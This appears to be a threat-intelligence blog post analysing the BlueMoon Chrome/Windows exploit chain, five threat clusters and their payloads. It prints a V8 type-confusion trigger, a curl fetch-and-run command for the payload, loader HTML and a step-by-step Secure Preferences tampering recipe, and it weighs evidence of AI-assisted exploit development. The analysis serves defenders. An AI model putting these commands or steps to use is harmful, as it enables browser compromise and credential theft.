Home Framework Threat Intel APT Encyclopedia Blog
Back to Blog
Threat Intel Sep 17, 2026 24 min read

Patch-Gap Zero-Days: BlueMoon

A private researcher reported a V8 bug on 4 August. The Chromium fix landed publicly on 7 August. Chrome stable did not ship it until 3 September. Five clusters, most with a suspected China nexus, walked through the window.

APT31 / TA412 CVE-2026-85046 CVE-2026-87491 CVE-2026-85880 Patch Gap Purple Team
A private researcher reported CVE-2026-85046 to Chromium on 4 August through Google's v8CTF programme. Someone else took the fix commit, weaponised it, and by 28 August was phishing US NGOs with it. Chrome stable did not ship the fix until 3 September. In the window between, at least five clusters, most with a suspected China nexus, started using the same kit.

On 9 September 2026 Volexity and Proofpoint published in parallel on an exploit chain both had watched in flight for over a week. Proofpoint tracks the kit as BlueMoon. It weaponises three vulnerabilities: a type confusion in the V8 JavaScript engine (CVE-2026-85046), a WebAssembly out-of-bounds write that escapes the V8 sandbox (CVE-2026-87491), and a heap overflow in Windows Advanced Local Procedure Call (CVE-2026-85880) that turns a sandboxed renderer into a code-injection primitive against the browser process.

One term needs pinning down before anything else, because the vendors and the headlines use it loosely. A patch-gap bug is one whose fix is already public in the upstream open-source tree but has not yet reached the released, downstream product: it is an n-day at the source level (the diff is there for anyone to read) and, in practice, a zero-day against every installed copy of the shipped browser, because no patched build exists yet. Both V8 bugs in BlueMoon are of this kind. Proofpoint states plainly that "both V8 vulnerabilities were 'patch-gap' zero-days at the time of the observed activity", already fixed in the public upstream Chromium source, and Volexity says the same for the JungleBamboo variant. The V8 sort/fill fix is the openly visible v8/v8 commit e0562d87 on 7 August. The WebAssembly OOB fix ties to Chromium issue 543557673, which is still access-controlled to anonymous readers at the time of writing; we were not able to locate the upstream commit ourselves, but two vendors working with GTIG describe it as a patch-gap fix and we defer to that. The ALPC LPE is different: a classical zero-day, undisclosed anywhere until Patch Tuesday. So BlueMoon is two patch-gap bugs chained to one classical zero-day, and the moral of the post is that the patch-gap category is now doing most of the work.

By the time the reports went public, five clusters had adopted the kit and were burning it against separate target sets: TA412 (Volexity's JungleBamboo, publicly known as APT31 or Violet Typhoon) against US NGOs, mining and physical-commodities firms; UTA0560 against a different set of NGOs; UNK_LateNight against US aerospace with ShadowPad; UNK_DoubleCheck against a Vietnamese manufacturer with a Rust loader; and UNK_QuietRacket against government, consulting and finance targets in Southeast Asia.

Five clusters, one exploit chain. Volexity documents the UTA0560 and JungleBamboo builds as byte-for-byte identical exploit code; Proofpoint observed further variants across the other three clusters that repackage the same core (some strip comments, some obfuscate the JavaScript loader, some fold the components into a single file), consistent with a shared source rather than one operator running under many names.

This post walks the chain, the five post-exploitation branches, the Secure Preferences bypass that lets a browser extension survive as the whole payload, and where a SOC can still see something. It also spends a section on a detail neither vendor buries but neither headlines: the artefacts inside the kit that are consistent with AI-assisted development, though not proof of it.

The 27-day patch gap

For the V8 half of the chain, the story is not really about a zero-day in the classical sense. It is about a public commit sitting in the open v8/v8 repository for twenty-seven days with nobody pushing an update to end users.

Salvatore Gulizia (Serotav) reported the V8 bug on 4 August 2026 through Google's v8CTF programme. The Chromium fix, a small refusal to inline Array.prototype.sort when the receiver's element kinds disagree, was committed on 7 August. From that moment the diff was public, and anyone who wanted to look could look. Chrome stable did not ship a build carrying the fix until Chrome 152.0.7977.82 on 3 September, twenty-seven days later.

Serotav's own writeup of the sort/fill confusion was published on 28 August 2026. The reading "the writeup gave the developer the PoC" is not supported by the build tags Volexity extracted from the exploit source. The 27 August comment refers to post-LPE behaviour, which means the V8 primitive was already producing arbitrary read/write and the developer was working on the kernel-side stage above it, a day before the writeup went public. On the visible evidence, then, the sort/fill primitive was in hand before Serotav's writeup, and the developer built it by reverse-engineering the 7 August Chromium commit rather than from a published proof-of-concept.

Volexity found timestamps in the exploit's own source comments dated 2026-08-27, b20260828r, b20260828t, b20260829a. TA412 fired the kit for the first time on 28 August. Because the upstream fix was public but the downstream stable release was not, the vulnerability was an n-day at the source level and, in effect, a zero-day against every Chrome installation on Earth.

PATCH GAP · 27 DAYS 4 Aug Serotav reports via v8CTF 7 Aug Chromium fix committed 27–29 Aug build tags in exploit source 28 Aug TA412 fires the kit 1 Sep UTA0560 + JungleBamboo 2 Sep UNK_LateNight, UNK_DoubleCheck 3 Sep UNK_QuietRacket + Chrome 152 fixes V8 8 Sep MS Patch Tuesday + Chrome 153 (WASM) 9 Sep Volexity + Proofpoint
Twenty-seven days from public commit to public patch. The exploit build tags land roughly three weeks after the fix, and the first observed campaign (28 August) ran six days before the earliest stable release that could have carried a mitigation (3 September). That six-day head start over the fastest possible patched user, sitting on top of a twenty-seven-day gap where no patched build existed at all, is the sort/fill vulnerability's real lifetime as a zero-day.

Two consequences follow. One is that a Chrome CVE labelled "reported by a private researcher" is not automatically a safe assumption of narrow knowledge. From the moment the fix is committed upstream, everybody willing to reverse-engineer a diff is racing the auto-update train. The other is that the shape of that race may be changing, because the reverse-engineering step is arguably cheaper now than it used to be. That is picked up further down.

Five clusters, one kit

Volexity's headline is that two distinct actors, UTA0560 and JungleBamboo, deployed the same chain on the same day (1 September) with byte-for-byte identical exploit code and different post-exploitation malware. Proofpoint extends the picture: it watched TA412 (its name for the group Volexity calls JungleBamboo) turn the kit on four days earlier, on 28 August, and tracked three additional clusters over the following week. The two reports are consistent where they overlap.

ClusterAliasesFirst seenTargetsFinal payload
TA412JungleBamboo, APT31, Violet Typhoon, Zirconium, TIDE CASTLE28 Aug 2026US NGOs, mining, commodities tradingLONGTALE / GemStone Chrome extension
UTA05601 Sep 2026US NGOs with donation-form luresGRIMWEDGE JScript backdoor
UNK_LateNight2 Sep 2026US aerospace with B2B/RFQ luresShadowPad
UNK_DoubleCheck2 Sep 2026Vietnamese manufacturingRust loader → DLL sideload
UNK_QuietRacket3 Sep 2026Government, consulting, finance in ID and SGCloudflare Workers + Google DoH loader

Attribution for TA412 is not novel. The group was indicted by the US Department of Justice in 2024 for economic espionage on behalf of China's Ministry of State Security, operating through the Wuhan XRZ front company. Their abuse of Dropbox as a C2 channel was the subject of our earlier post on Judgment Panda; the LONGTALE extension is a lateral evolution of the same operating philosophy: keep the destination reputable so the traffic never earns a block. Volexity ties TA412's September infrastructure (msbenefit[.]com, gitprogram[.]com) to its known registration patterns; Proofpoint adds secboxes[.]com from earlier August activity. UTA0560 is the newer of the pair and is linked back to donation-form phishing observed in March 2026 through three concrete indicators: the sender identity ircribbin77[@]hotmail[.]com reused across campaigns, the IP 206.166.251[.]164 that hosted the March PowerShell staging and the September cloud.shinewrist[.]net content, and a per-host beacon pattern that mirrors the earlier /%COMPUTERNAME%-%USERNAME%.ps1 shape.

Whether the clusters share a common supplier is unresolved. Volexity assesses with low confidence that the chain was sold or otherwise transferred to different end users. Proofpoint says the pattern is comparable to what preceded the Microsoft Exchange and SharePoint waves earlier in the decade, and speculates about "a shared commercial procurement chain or digital quartermaster." Both stop short of naming one. The evidence in hand is that the exploit core is the same, the payload compilers differ, and the campaigns started within days of each other, which is consistent with a shared supplier and equally with a leaked kit. Neither vendor resolves it, and neither will this post.

Delivery: reflected XSS and dual targeting

Neither of the two best-documented actors tried to be clever with the lure. Both leaned on themes their targets would already open.

UTA0560 sent donation-themed emails to NGO staff. Every observed lure contained a link not to attacker infrastructure but to a legitimate US-based university website, exploiting a reflected cross-site scripting (XSS) vulnerability on that domain to redirect the visitor onward. From the perspective of a suspicious user hovering over the URL, and from that of most mail-security link filters, the destination is a real .edu. Only after the click does the browser end up at hxxps://cloud.shinewrist[.]net/<removed>/Files1.html. This is the reason to keep an eye on reflected XSS on your own perimeter even when it looks like "just" a defacement primitive: to a targeted phishing operation it is a laundering step for the URL.

The first JungleBamboo wave Volexity observed, on 1 September, sent what looked like generic spam aimed simultaneously at a target's work address and their personal address in the same message. Proofpoint had already seen TA412 (its name for JungleBamboo) firing the kit on 28 August, so 1 September is the first Volexity-observed wave, not TA412's first campaign. Volexity notes this is uncommon for generic spam and reads it as espionage-motivated dual targeting, on the logic that a lure landing on someone's phone as well as their laptop is more likely to earn a click. The second wave, on 2 September, dropped the spam mask for more tailored themes. TA412's later campaigns leaned on invented students seeking internships and outreach for the AAS-in-Asia 2026 academic conference. UNK_LateNight impersonated US aerospace primes for B2B and RFQ threads. UNK_QuietRacket spoofed Indonesian government senders for events such as the Indo Startup Expo and WCCE 2026. Each cluster's lures fit its usual operating theatre.

In every observed campaign the exploit-hosting infrastructure was registered on the same day as the campaign, or the day before. Proofpoint reads this as evidence of a rushed deployment ahead of the anticipated patch. It is also useful for defenders: a domain registered less than 48 hours before a click, resolving to a Cloudflare Worker or Tunnel, is a live signal.

Anatomy of the chain

Once the click lands, the exploit itself is the same across all five actors. The first page served is a small HTML document that displays a decoy image (a donation form for UTA0560, a themed landing page for the others) and loads an obfuscated JavaScript loader:

<!DOCTYPE html>
<html>
<script src="hxxps://cloud.shinewrist[.]net/<removed>/react.min.js"></script>
<body>
<img src="./<REDACTED>DonationForm.PNG">
</body>
</html>

The loader (react.min.js in UTA0560's build, renamed across the other clusters) gates on User-Agent and OS. If the client is anything other than Chrome on Windows, the loader stops. Otherwise it constructs the exploit URL from an embedded CONFIG_URL, appends the payload location as an exeurl query parameter, and injects the destination as a hidden iframe. The victim keeps looking at the decoy while the exploit runs behind it.

The exploit itself is served by page.html, which is unusual for how much of the development harness it still carries. Volexity documents thirteen URL parameters, several of which read more like a QA build than production code:

ParameterPurpose
modeMust be payload for the exploit to run; probe is unimplemented and throws.
exeurlURL of the binary to download after exploitation, threaded into the injection stub's command line. Payload can be swapped without touching the exploit.
beaconBase URL for telemetry; each phase fires a fetch to it. Not used in delivered URLs.
dry, runpayloadRun the exploit logic without deploying shellcode / skip the final payload step.
retry, workerDisable the sessionStorage-backed retry (five attempts on recoverable failures) or force main-thread execution.
force2, forceppForce p2 or pp to execute regardless of the previous stage's result.
step, p2step, stopAfterNamed-phase breakpoints inside pp injection, the LPE, or the top-level chain. Debugging.
mapOverride the V8 heap MAP_WORD constant; without it the exploit derives the value at runtime through a memory leak, which gives it resilience across Chrome 151.x point releases.

The exploit page holds its code inert inside two <script type="text/plain"> blocks so the browser parses them as data. It concatenates them, wraps them in a Blob, and launches the result as a dedicated Web Worker. Running on a Worker rather than the main thread means the visible tab does not crash if the exploit misfires; the retry counter is persisted in sessionStorage under the key v8ctf_exp_attempt. Five attempts on any recoverable failure, silent to the user.

Inside the worker sit three Base64-encoded binary payloads: p1, p2, and pp. They execute in order, each gated on the previous.

STAGE BOUNDARY CROSSED VULNERABILITY JS in the renderer Array.sort + fill() confuse PACKED → PACKED_SMI JS → V8 heap cage addrof / fakeobj / arb R/W CVE-2026-85046 V8 type confusion (CWE-843) Sandbox escape WebAssembly OOB write p1 shellcode staged V8 cage → renderer overwrite WASM function body CVE-2026-87491 V8 OOB write (CWE-787) Kernel LPE p2: ALPC + WNF exploit grants SeDebugPrivilege renderer → kernel R/W RtlpCreateServerAcl heap overflow CVE-2026-85880 Windows ALPC heap OF (CWE-122) Browser-process injection pp: CreateProcessA stub curl -o msgbox.exe && run renderer → browser process outside the sandbox, PE spawned HIGH-SIGNAL EVENT chrome.exe → cmd → curl → PE
Four boundaries, three CVEs, and one very loud finish. It is tempting to call every step before the last "invisible," and much of the earlier reporting does, but that overstates it. The renderer-to-browser-process injection performs an OpenProcess for full access, an executable VirtualAllocEx, and a CreateRemoteThread, and it does so after a low-integrity renderer token has suddenly acquired SeDebugPrivilege. Those are observable: Sysmon event 10 (ProcessAccess) with a suspicious granted-access mask, event 8 (CreateRemoteThread) into the browser process, and any token-privilege telemetry your EDR exposes will all fire on a well-tuned sensor. What is fair to say is that the cheapest, most reliable signal is the final process tree; the earlier steps are catchable but require better-tuned, memory- and token-aware telemetry that many SOCs do not run by default.

The p1 DLL is reflectively loaded position-independent shellcode. It builds a JSON profile of the host: NT version and build, kernelbase.dll build, current process token integrity level, AppContainer status, CPUID features, hypervisor detection. All anti-analysis checks are passive: sandbox and debugger indicators land in the JSON, and the DLL never acts on them. The calling JavaScript reads three fields and decides whether to attempt the LPE.

p2 only runs if the process is not already elevated and the Windows build sits in a specific set: 17763 (Windows 10 1809 / Server 2019), 19041–19045 (Windows 10 2004 through 22H2), 20348 (Server 2022), and 22000 (Windows 11 21H2 initial release). Anything above 22000 is rejected. Microsoft's advisory itself only lists Windows 10, Server 2016 through 2022 and older Server 2012 variants as affected; it names no Windows 11 build at all. So on Windows 11 22H2 and later, the LPE half of the chain does not run and Microsoft ships no KB for it. The attacker still gets native code execution inside the renderer process on those hosts through the V8 bugs; what they do not get is a way out of the renderer sandbox, because the ALPC LPE (which the injection stub needs, to enable SeDebugPrivilege in the renderer token) never fires.

pp is a very small injection stub. It finds the browser's parent process, opens it with full access, allocates executable memory in it, writes a CreateProcessA call and a command line, and starts a remote thread. The stub runs outside the renderer sandbox because it executes inside the browser process, and the default command it launches is:

cmd.exe /c curl -f -sS -o "%TEMP%\msgbox.exe" "<exeurl>" && "%TEMP%\msgbox.exe"

The exploit itself stops at this point: it hands a downloaded PE to the OS and is done. Three of the five clusters take the default path unchanged and simply vary the filename (msgbox.exe for UNK_LateNight, ChromeUpdate.exe for TA412). The other two rewrite the finish, and that matters for detection, so it is worth being precise rather than saying "everything downstream is a normal PE from %TEMP%" as a first pass would. The details are in the divergence section below; the short version is that one cluster changed the download target directory and another modified the injection shellcode outright.

CVE-2026-85046: sort meets fill

The V8 bug is easier to explain than it sounds, and easier still if you accept up front that JavaScript engines optimise for the shapes of the data they see. Serotav's own writeup is the primary source; what follows is a plain-language walk of it.

V8 tracks an "elements kind" for every array: whether it holds only small integers (PACKED_SMI_ELEMENTS), only tagged objects (PACKED_ELEMENTS), doubles, and so on. Arrays are supposed to move from more specialised kinds to more general ones over their lifetime, never the other way. So a PACKED_SMI array that receives an object becomes PACKED_ELEMENTS, and that is a one-way ticket.

One-way, with one exception. Array.prototype.fill() is allowed to migrate the elements kind backwards, because it replaces every element and there is no old value to be inconsistent with the new specialisation.

V8's two optimising compilers, Maglev and TurboFan, share a fast path for Array.prototype.sort() that inlines an insertion sort directly into the graph, skipping the builtin-to-JS transition on every comparator call. Serotav's writeup confirms the bug was present in both compilers and focuses on Maglev; Proofpoint's writeup describes the exploit as targeting TurboFan. Either compiler works: they made the same optimisation assumption. The inlined path is only correct when the receiver's map is one of a small set of stable kinds. The problem, in either implementation, is that the check performed after the comparator runs, before the sorted temp array is copied back, verifies that the current map is one of the maps the compiler was trained on, not that the map is the same as before the loop. Any map in the set is accepted.

Combine those two facts. Train the compiler on both PACKED_SMI and PACKED arrays. Sort a PACKED array. Inside the comparator, call fill(0), which migrates the receiver from PACKED back down to PACKED_SMI. The post-loop map check accepts the new map because it is still in the set. Sort's copy-back then writes the temp array, which contains tagged object pointers, into a receiver whose map now says every slot is a Smi.

function confuse(arr){
    function compare(){ arr.fill(0); return 0; }
    arr.sort(compare);
}
for (let i=0; i<1000; i++){
    confuse([6,9,4,2,0]);
    confuse([{},{},{}]);
}
let bad = [{},{}];
confuse(bad);
console.log(bad);      // prints heap offsets, not [object Object]
console.log(bad[0]);   // still returns the object

From there the exploit derives the two primitives every V8 exploit needs. addrof falls out of the observation above: any code path that trusts the map treats the tagged pointers as Smis, printing their heap offsets. fakeobj requires one more trick, which Serotav documents as a write-barrier skip via Array.prototype.unshift: because the array claims to hold Smis, the write barrier is not emitted when a tagged pointer shifts through it, so a controlled pointer lands in an old-space object without the generational bookkeeping. Two primitives, arbitrary read/write inside V8's heap cage, and the type confusion is done.

The upstream fix, commit e0562d87, refuses to inline sort when the trained set contains more than one distinct elements kind. Small, obviously correct, and short enough that an attentive reader could work out what it was defending against in an afternoon. Twenty-seven days was a long time to leave that hanging.

CVE-2026-87491: escaping the V8 cage

Arbitrary read/write inside V8's heap cage does not, on its own, let you run native code. V8's sandbox is designed to contain exactly this class of primitive: even with full control over the cage, the code the CPU executes still lives outside it. Escaping requires a second bug that turns cage-relative writes into a native-code write.

That bug is CVE-2026-87491, an out-of-bounds write in V8's WebAssembly implementation. It was reported to Chromium on 6 August (two days after the sort bug), fixed upstream before the campaigns ran (both vendors classify it, alongside the sort/fill bug, as a patch-gap bug already in the public Chromium source at the time of the observed activity), and released to stable in Chrome 153.0.8010.36 on 8 September. Chromium issue 543557673 remained access-controlled at the time of writing, so we have not been able to identify the exact upstream commit ourselves; the vendors, working with GTIG, did. Proofpoint documents the exploitation approach: the attacker corrupts WebAssembly module metadata to redirect a compiled function-body pointer to attacker-controlled memory, then copies p1's shellcode into that slot. When the compiled function next runs, the CPU executes the shellcode. From that point everything runs as native code inside the Chrome renderer process: outside the V8 sandbox but still inside the Chromium process sandbox.

Two bugs, two patch releases, and a smaller gap in between. CVE-2026-85046 was fixed in Chrome 152 on 3 September; CVE-2026-87491 in Chrome 153 five days later. Google marked both as exploited in the wild. It is worth being precise about what the 3–8 September window did and did not mean, because it is easy to state wrongly: on Chrome 152, BlueMoon's own entry vector (the sort type confusion) was closed, so BlueMoon specifically no longer worked. What remained open on 152 was the WebAssembly escape, which is only dangerous if paired with some other V8 read/write primitive. In other words, 152 stopped this kit but left the second half of the chain reusable by any future V8 memory-corruption bug until 153 shipped. Systems that took 152 but not 153 were not exposed to BlueMoon; they were exposed to the general risk of an unpatched sandbox escape.

CVE-2026-85880: the ALPC LPE

The kernel exploit is CVE-2026-85880, a heap-based buffer overflow in Windows Advanced Local Procedure Call. Microsoft's advisory describes it as an EoP that allows an authorised local attacker to elevate privileges; NVD assigns CWE-122. Volexity identifies the specific function as RtlpCreateServerAcl, the internal helper that builds the access-control list for an ALPC server port; Proofpoint characterises the approach as ALPC combined with the Windows Notification Facility. Both descriptions are consistent: a controllable heap overflow reachable from a low-integrity Chrome renderer over an ordinary ALPC connection.

The p2 DLL uses that primitive to grant kernel read/write to itself, then flips SeDebugPrivilege on the renderer's token. That is enough to open the browser process from the sandboxed renderer, which is what the next stage needs. Proofpoint notes that the DLL's compilation timestamp is from 2025 and does not appear forged, so this piece is probably an existing capability repackaged into BlueMoon rather than developed for it.

Notably, the p2 build gate is narrower than the advisory. Microsoft covers Windows 10 1607 (14393) and Windows 10 1903/1909 (18362/18363), which the exploit does not attempt against. The population p2 actually reaches is therefore an odd cross-section: builds that were still receiving Chrome auto-updates on the 151.x branch (which is what the exploit was written against, per Volexity's MAP_WORD resilience note), and old enough to be on Extended Security Updates or unsupported entirely. Windows 11 21H2 stopped receiving mainstream support in 2023 (consumer) and 2024 (enterprise); Windows 10 22H2 mainstream support ended in October 2025, with a consumer ESU running one year through October 2026 and an organisational ESU available in yearly increments through October 2028. Modernised Windows 11 22H2+ fleets still catch the V8 exploits, but not the LPE.

Microsoft's 8 September Patch Tuesday shipped kernel fixes across the currently supported affected fleet: KB5122878 (Windows 10 22H2 and 21H2), KB5122876 (Windows 10 1809 / Server 2019), KB5122882 (Server 2022) and KB5123099 (1607 / Server 2016). No public KB is listed for Windows 11 21H2 build 22000, which is out of support. CISA added the CVE to the KEV catalog the same day, with a federal action-due date of 22 September.

Tells of AI-assisted development

Proofpoint spends a section on this and Volexity closes on it, so it is worth pausing, and worth being disciplined about, because it is the easiest part of the story to overclaim. The exploit is not obviously AI-generated in the way of a script-kiddie tool. It carries a set of artefacts consistent with development through a language-model coding agent (artefacts you would ordinarily strip from a production kit), but none of them is proof.

None of this proves AI involvement. Two simpler explanations sit alongside the coding-agent hypothesis and are not addressed by either Volexity or Proofpoint. First, the developer might have been aware of v8CTF as a target frame independently of any LLM; it is a public Google programme with a small community around it. Second, the artefacts common to a coding-agent workflow (handover markdown, verbose logs, iterative rounds by build tag) are also common to a solo developer writing meticulously against a moving target, which is what the three-week development window rewards. The story that fits the evidence is "somebody who worked fast, methodically, and left their notes in." The story that also fits is "somebody who used a coding agent." The evidence does not choose between them.

And it is worth resisting the inference some coverage reaches for: that "TA412 was not previously known for V8 exploitation, therefore a model must have levelled them up." If there is a shared supplier, as both vendors think is plausible, then whoever built the kit is not necessarily TA412, and TA412's own track record says nothing about the developer's capability. The turnaround is fast for whoever built it; attributing that speed to a specific named cluster's newfound skill is not supported.

What the artefacts do match is a pattern Google's threat-intelligence group has documented over the past year: adversaries reaching for coding agents to compress the time from public patch to working exploit. Volexity says as much in its conclusion. The wider consequence is the point worth internalising: if the marginal cost of turning a public Chromium patch into a working exploit is falling, patch-gap windows stop being a curiosity and become a reliable path in. Volexity puts it plainly: patch-gap vulnerabilities create an additional window for threat actors, and that makes them a greater risk, not a lesser one.

Where the payloads diverge

Two kinds of divergence. Three of the five clusters use the exeurl parameter as designed, handing a different binary to the same injection stub without touching the exploit. The other two changed the finish itself. UNK_DoubleCheck rewrote the injection command to fetch four files (wint.exe, calibre-launcher.dll, 85rY.dat and SysPr.prx; the chain RC4-decrypts SysPr.prx to an in-memory Rust executable, and the roles of the other three are not spelled out in either report) into %APPDATA%\Microsoft\Windows\ instead of %TEMP%. UNK_QuietRacket went further and modified the pp shellcode itself to download and execute a DLL-sideloading pair rather than a single binary via curl. Detection rules anchored on %TEMP%\msgbox.exe, or on a cmd /c curl command line, miss both.

Phishing link XSS or direct V8 confusion + WASM escape 85046 · 87491 ALPC LPE + injection 85880 · pp shellcode Next stage fetched default: curl PE; 2 clusters vary TA412 (default exeurl) Secure-Prefs install → LONGTALE Chrome extension, ID ckiknalbeplpcpofpnabcnhjcegckfei UTA0560 (default exeurl) wsc.dll → MSI → GRIMWEDGE Scheduled Task, 5 min beacon eval()'d JScript in msiexec UNK_LateNight (default) DLL sideload → ShadowPad AES-decrypted TMP, wmpnetwk EdgeCore_AutoUpdate task UNK_DoubleCheck (cmd changed) 4 files → APPDATA → Rust Cloudflare R2 stage-2 CLSID InprocServer32 persist UNK_QuietRacket (pp changed) DoH TXT → Worker → .NET GeForceService scheduled task ChaCha20-decrypted payload
Five clusters, five different second stages. Three clusters take the default finish (a curl-downloaded PE into %TEMP%) and change only the exeurl; UNK_DoubleCheck rewrote the download command to drop four files into %APPDATA%\Microsoft\Windows\, and UNK_QuietRacket modified the pp shellcode outright. Everything to the right of the injection is separate malware families, distinct C2 topologies and distinct persistence. Together with the identical exploit core, that is the strongest single argument for a shared exploit source rather than one operator running under many names. (It is not, on its own, an argument for a sale; a leak produces the same pattern.)

GRIMWEDGE (UTA0560)

Once msgbox.exe lands, it is a small resource dropper. It extracts a legitimate Windows EXE and a malicious wsc.dll beside it; Volexity's YARA identifies the legitimate binary as part of an AVG DLL-sideloading chain. On execution wsc.dll registers a scheduled task named Windows Scheduled System that re-launches the sideloading chain every five minutes, then beacons to hxxps://cloud[.]shinewrist[.]net/<removed>/%COMPUTERNAME%.txt until the operator returns an MSI for that specific host.

The MSI is 408 KB, built with Advanced Installer 14.5.2. Its custom actions execute an obfuscated JScript that enters an infinite HTTP-POST loop against hxxps://ocr[.]opusaccel[.]top, sending the victim's domain, username and previous-command output tab-delimited, and treating responses as JScript to eval(). The backdoor extracted from that channel, GRIMWEDGE, is under 250 lines of JScript hosted entirely inside the msiexec.exe process. Ten commands:

IDCommandCapability
0InfoOS build, hotfixes, AV, domain/user/host, IP, MAC, drives, installed software
1DirDirectory listing with timestamps and sizes
2–3Mkdir / DelCreate directory, delete file
4–5Tasklist / TaskkillEnumerate processes; terminate by PID
6TypeRead file (up to 5 MB)
7RunExecute a command with a hidden window
8–9Upload (chunk / commit)Receive Base64 chunks; save the assembled buffer

No built-in persistence beyond the scheduled task, no lateral movement, no credential dumping. GRIMWEDGE is a foothold, not an implant: enough surface to survey, exfiltrate, and stage bigger tools via Run and Upload. UTA0560 recompiled wsc.dll the day after their first wave (2 September), changing the task's action from a passive replay of a cached MSI to an active re-execution of the whole sideloading chain, the kind of change an operator makes when something is not working the way they wanted.

LONGTALE / GemStone (TA412)

TA412 does not bother with a full backdoor. Their msgbox.exe is a Chrome-extension installer Volexity calls SUPERSTOMP: it extracts a ZIP to C:\Users\Public\stomp_ext, iterates over every installed Chromium-family browser (Chrome, Edge, Brave, Vivaldi), kills the running process, tampers its Secure Preferences file, and relaunches with --restore-last-session so the user does not notice. The extension is what Volexity tracks as LONGTALE and Proofpoint calls GemStone. One extension ID: ckiknalbeplpcpofpnabcnhjcegckfei. It masquerades as a Google Gemini AI helper.

LONGTALE's manifest requests the permissions you would expect from a genuine AI companion and a few you would not: cookies, storage, tabs, scripting, activeTab, downloads, webNavigation, alarms. A background.js service worker maintains state under two keys: kc_state for internal telemetry and portal_sync_config for C2. Chrome alarms fire at a 30-second or 60-minute cadence, depending on a flag the server can flip.

On first run the extension resolves the victim's public IP against hxxps://api.ipify[.]org?format=json or hxxps://ipinfo[.]io/json, builds an identifier of the form gemini-<first 12 chars of extension ID>-<public IP>, and POSTs it to /api/extensions/register on the Cloudflare Worker that serves as C2. The server returns an ID and token used to authenticate subsequent requests.

EndpointPurpose
POST /api/extensions/registerRegister victim, obtain ID and token
GET /api/flagPoll the 30s-vs-60m cadence flag
POST /api/extension/{id}/heartbeatVerify registration is current
POST /api/extension/{id}/ingestBulk exfil: keystrokes, cookies, storage, history, keyword hits, tab metadata
POST /api/extension/{id}/screenshotsUpload keyword-triggered JPEG screenshots
GET /api/extension/{id}/commandsPoll queued commands
POST /api/extension/{id}/commands/{commandId}/ackReturn each command's result

Fourteen remote commands cover configuration and one-off collection: PING, GET_STATE, TOGGLE_RECORDING, CLEAR, EXPORT, CAPTURE_COOKIES, CAPTURE_STORAGE, CAPTURE_SESSION, INJECT, SET_KEYWORDS, GET_KEYWORDS, SCREENSHOT_NOW, HTTP_REQUEST, FETCH_HISTORY. The keylogger listens for keydown, input, change and paste across every eligible tab, with no suppression for password fields. A keyword monitor watches the DOM via MutationObservers and page-load polls; a match triggers a screenshot of the visible viewport. Every 30 seconds by default, the extension POSTs the last 500 keystroke records, all cookies, all local- and session-storage entries, the last 100 navigation events, the last 50 HTTP_REQUEST outputs, the keyword list, and current tab metadata.

Volexity's observation is worth reading twice: LONGTALE has no remote-code-execution command. TA412 built a payload that cannot execute arbitrary code on the endpoint and shipped it anyway. In their operating context that is not a limitation. Cookies, session tokens and typed credentials are the material they need for onward access, and an extension is much harder to spot than a PE.

ShadowPad (UNK_LateNight)

UNK_LateNight aimed the same chain at US aerospace primes with B2B/RFQ lures across delivery domains registered a day or two before each campaign (airproducts[.]ink, precipart[.]ink, rocketlabusa[.]ink, spectrolab[.]fit, and others). The downloaded msgbox.exe drops a DLL-sideloading pair with an AES-encrypted A08744D2.tmp; the DLL decrypts the TMP and injects the payload into one of several hard-coded targets, wmpnetwk.exe among them. Persistence is a scheduled task named EdgeCore_AutoUpdate that reruns the pair periodically, with the payload also written to the registry as a backup.

The payload is ShadowPad. It unhooks 20 network-monitoring functions to bypass EDR, steals Firefox profile data, sniffs traffic on the wire, and beacons over HTTPS to ms.checrity[.]com with rotating User-Agent strings; fallback C2 is a hard-coded IP, 79.133.56[.]90. This ShadowPad chain is close to prior AhnLab and SentinelOne descriptions, an existing capability plugged into a new front end.

UNK_DoubleCheck and UNK_QuietRacket

UNK_DoubleCheck targeted a single Vietnamese manufacturer via a compromised Southeast Asian government mailbox, with an unusual vaccination-appointment lure. Their variant of the exploit page is the only one Proofpoint observed with obfuscation on the loader itself. After exploitation, the rewritten command fetches four files (wint.exe, calibre-launcher.dll, 85rY.dat, SysPr.prx) from homepage.brianwilli[.]com into %APPDATA%\Microsoft\Windows\. The DLL RC4-decrypts SysPr.prx to a Rust executable that loads in memory, then reaches a Cloudflare R2 bucket (1a062f4982564d6d19a76884ce8bcbb6.r2.cloudflarestorage[.]com) for a second DLL-sideloading pair whose eventual C2 lives on fracons[.]com. Persistence layers up: a COM hijack under HKCU\SOFTWARE\Classes\CLSID\{5D4CFCB7-222C-4CA3-96B6-1F8195FBBB4B}\InprocServer32, plus scheduled tasks named MicrosoftEdgeUpdatesTaskMachine and Avpcheckup that both masquerade as vendor updater jobs. A single-instance mutex Dataupcheckinfo is the memory-side artefact.

UNK_QuietRacket used BlueMoon to seed a bespoke DoH-driven implant against ID/SG targets, and is the cluster that modified the pp shellcode to fetch a DLL-sideloading pair directly rather than a single PE. The stage-two loader resolves its next C2 by querying Google's DNS-over-HTTPS for a TXT record on dns.elixnovorem[.]com, ChaCha20-decrypts the result to a Cloudflare Workers URL, fetches an HTML page from it, ChaCha20-decrypts the body again, and loads the resulting .NET assembly in memory. The .NET blob's only observed job was to write a scheduled task named GeForceService that reruns the sideloading pair from C:\ProgramData\. C2 resolution rides Google DoH and the eventual destinations are Cloudflare Workers, so the C2 lookups themselves surface no attacker-registered domain in the netflow; the delivery domains (joinmacket[.]com, openlumakora[.]com) are attacker-registered and do resolve normally.

The Secure Preferences bypass

Of the five branches, the Chrome-extension path is the one worth understanding in detail. Extension-based malware sits in a defensive blind spot at most organisations: EDR tends to miss it, application control does not cover it, and most policy work has historically focused on stopping users installing extensions through the Web Store, not on stopping a local process writing extensions into the browser's own preferences file.

Chromium tried to close that gap. Every extension in a profile has a matching HMAC in Secure Preferences under a protection.macs tree. The HMAC is computed over a fixed seed baked into the browser binary, the logged-in user's Windows SID, and the JSON value being protected. A master checksum, super_mac, covers the whole set. On startup Chrome recomputes each HMAC; a mismatch causes it to revert the change or flag the extension as externally installed. That mechanism was hardened twice in the last year: per-preference _encrypted_hash entries in November 2025, and a whole-set super_encrypted_hash in June 2026.

SUPERSTOMP does not attack the crypto. It removes it.

  1. Copy the existing Secure Preferences file, working from a copy to avoid a partial write.
  2. Strip the encrypted authenticators: every per-preference _encrypted_hash, plus super_encrypted_hash.
  3. Add the malicious extension to the profile's extension list and enable the developer-mode flag that lets an unpacked extension load from disk.
  4. Regenerate the legacy HMACs, using the same fixed seed, Windows SID and JSON values the browser uses, and recompute super_mac.
  5. Swap the tampered copy back over the original.

